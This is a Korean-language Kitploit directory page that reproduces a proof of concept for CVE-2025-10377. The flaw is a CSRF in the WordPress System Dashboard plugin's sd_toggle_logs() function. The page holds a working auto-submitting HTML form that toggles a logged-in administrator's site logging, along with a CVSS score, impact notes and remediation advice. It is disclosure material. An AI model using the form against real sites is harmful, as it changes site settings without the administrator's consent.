Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-10377 — CVE-2025-10377 | Kitploit
도구/GitHubGitHub/nagisayumaa/cve-2025-10377
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubnagisayumaa/cve-2025-10377

CVE-2025-10377

CVE-2025-10377

저장소 보기
0년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Proof of Concept CVE-2025-10377 사이트 간 요청 위조(CSRF) – 플러그인 시스템 대시보드 (함수 sd_toggle_logs)

취약점 유형: 사이트 간 요청 위조 (CSRF)

영향을 받는 함수: sd_toggle_logs()

CVSS v3.1: 4.3 (중간)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(참고: 점수는 관리자 피해자와 사용자 상호작용이 필요한 승인되지 않은 상태 변경을 반영합니다.)

취약점 설명:

sd_toggle_logs() 함수는 페이지 접근 로그, 오류 로그, 이메일 전송 로그의 활성화/비활성화와 같은 민감한 작업을 처리합니다. 그러나 CSRF 보호(예: check_admin_referer() 또는 nonce)를 구현하지 않고 $_REQUEST['log_type'] 매개변수와 권한 확인 (current_user_can( 'manage_options' ))에만 의존합니다.

결과적으로 공격자는 로그인한 관리자가 피해자 페이지를 방문하도록 유도하여, 무단으로 사이트 로깅의 활성화/비활성화 변경을 초래하는 조작된 요청을 자동으로 제출하게 할 수 있습니다.

영향:

  • 사이트 로깅 기능(페이지 접근 로그, 오류 로그, 이메일 전송 로그)의 승인되지 않은 상태 변경.

  • 오류 로깅이 활성화되면 사이트는 플러그인이 결정한 파일 경로에 애플리케이션 오류를 기록하기 시작할 수 있습니다(로그를 통한 운영 정보 노출 가능성 증가). 그러나 이 문제의 직접적인 영향은 상태 전환 자체입니다.

POC

manage_options 권한이 있는 로그인한 사용자가 공격자의 페이지를 방문하면, 명시적인 동의 없이 해당 로깅 기능이 전환됩니다.

root@kitploit:~
 <body>
    <form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
      <input type="hidden" name="action" value="sd&#95;toggle&#95;logs" />
      <input type="hidden" name="log&#95;type" value="errors&#95;log" />
      <input type="hidden" name="fast&#95;ajax" value="true" />
      <input type="hidden" name="load&#95;plugins&#91;&#93;" value="system&#45;dashboard&#47;system&#45;dashboard&#46;php" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

해결 방법

  • WordPress nonce(check_admin_referer() 또는 wp_verify_nonce())를 구현하여 요청을 검증합니다.

  • 민감한 작업을 POST 요청으로만 제한합니다.

  • CSRF 보호를 위해 권한 확인에만 의존하지 않습니다.

Video POC

보고서에 설명된 대로 문제를 정확히 재현할 수 없는 경우, 다음 동영상 데모(PoC)를 참조하여 명확한 재현 시나리오를 확인하세요.

https://youtu.be/WtWYIfEM4W0

도구 다운로드